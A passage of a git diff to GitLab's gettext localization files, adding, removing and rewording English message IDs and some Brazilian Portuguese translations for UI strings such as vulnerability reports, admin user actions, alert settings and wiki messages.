@@ -27916,6 +28529,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -28216,6 +28832,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] ""
@@ -28236,6 +28855,9 @@ msgstr ""
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -28371,7 +28993,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28470,6 +29092,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28812,6 +29437,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28878,7 +29506,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28950,10 +29578,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -29148,9 +29776,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -29169,6 +29794,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr ""
@@ -29205,6 +29833,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -29295,6 +29926,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -29442,6 +30076,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29499,6 +30139,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr ""
@@ -29544,6 +30187,9 @@ msgstr ""
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr ""
@@ -29574,6 +30220,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29610,6 +30259,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
@@ -29652,15 +30304,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29730,7 +30382,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29813,6 +30465,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29870,6 +30525,9 @@ msgstr ""
msgid "View replaced file @ "
msgstr ""
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29963,9 +30621,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -30071,6 +30726,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -30119,10 +30780,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -30137,6 +30795,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -30161,6 +30822,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -30290,6 +30954,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -30305,6 +30972,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30386,12 +31056,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30450,7 +31126,13 @@ msgstr ""
msgid "Wiki"
msgstr ""
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30606,6 +31288,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30687,9 +31372,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
@@ -30699,6 +31381,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30744,6 +31429,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30903,6 +31591,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30945,6 +31636,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -31023,6 +31717,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -31107,9 +31807,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -31152,13 +31849,10 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -31188,9 +31882,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -31209,6 +31900,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -31233,6 +31927,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -31245,6 +31942,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -31386,6 +32086,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -31434,6 +32137,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31443,6 +32152,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -31452,6 +32164,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31624,13 +32339,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading)"
-msgstr ""
-
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31799,6 +32511,12 @@ msgstr[3] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31817,9 +32535,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31835,9 +32550,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31878,9 +32590,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -31973,6 +32682,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -32001,6 +32713,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -32022,7 +32737,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32555,6 +33270,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32582,6 +33300,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32594,6 +33315,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32679,6 +33403,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32734,6 +33461,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32746,9 +33476,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32797,9 +33533,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32830,10 +33563,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32842,6 +33575,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32851,6 +33587,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -32923,6 +33662,13 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/pt_BR/gitlab.po b/locale/pt_BR/gitlab.po
index f48ad97d748..e8c81aab0ec 100644
--- a/locale/pt_BR/gitlab.po
+++ b/locale/pt_BR/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: pt-BR\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:40\n"
+"PO-Revision-Date: 2020-12-03 08:09\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -82,6 +82,11 @@ msgid_plural "%d Approvals"
msgstr[0] ""
msgstr[1] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -165,16 +170,16 @@ msgid_plural "%d days"
msgstr[0] "%d dia"
msgstr[1] "%d dias"
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%d error"
msgid_plural "%d errors"
msgstr[0] "%d: erro"
msgstr[1] "%d: erros"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d exporter"
msgid_plural "%d exporters"
msgstr[0] "%d exporter"
@@ -351,24 +356,15 @@ msgstr "%{actionText} & %{openOrClose} %{noteable}"
msgid "%{address} is an invalid IP address range"
msgstr ""
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
msgid "%{authorsName}'s thread"
msgstr "Tópico de %{authorsName}"
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
-msgstr ""
-
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
msgstr ""
@@ -445,6 +441,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -517,21 +516,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr "%{issuableType} será removido! Você tem certeza?"
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -547,9 +552,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -565,13 +567,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -604,9 +606,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr "%{loadingIcon} Iniciado"
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -707,34 +706,13 @@ msgstr[1] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -792,6 +770,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] "%{strong_start}%{branch_count}%{strong_end} Branch"
@@ -889,6 +870,9 @@ msgstr "Avatar de %{userName}"
msgid "%{user_name} profile page"
msgstr "Página de perfil de %{user_name}"
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr "Avatar de %{username}"
@@ -907,12 +891,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1506,9 +1484,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr "Ativar"
-
msgid "Activate Service Desk"
msgstr "Ativar Central de Serviços"
@@ -1856,9 +1831,15 @@ msgstr ""
msgid "Admin notes"
msgstr "Notas de administração"
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -2081,6 +2062,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr "Ativo"
@@ -2129,18 +2119,21 @@ msgstr "Bloqueado"
msgid "AdminUsers|Blocking user has the following effects:"
msgstr "Bloquear o usuário tem os seguintes efeitos:"
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr "Não é possível desbloquear usuários bloqueados pelo LDAP"
msgid "AdminUsers|Deactivate"
msgstr "Desativar"
-msgid "AdminUsers|Deactivate User %{username}?"
-msgstr "Desativar usuário %{username}?"
-
msgid "AdminUsers|Deactivate user"
msgstr ""
+msgid "AdminUsers|Deactivate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Deactivated"
msgstr ""
@@ -2165,6 +2158,9 @@ msgstr "Externo"
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2201,6 +2197,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2240,6 +2245,15 @@ msgstr "Para confirmar, digite %{projectName}"
msgid "AdminUsers|To confirm, type %{username}"
msgstr "Para confirmar, digite %{username}"
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2249,6 +2263,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr "Sem projetos"
@@ -2258,6 +2275,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2270,7 +2296,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2482,6 +2514,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2491,9 +2541,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2521,6 +2580,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2533,7 +2598,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
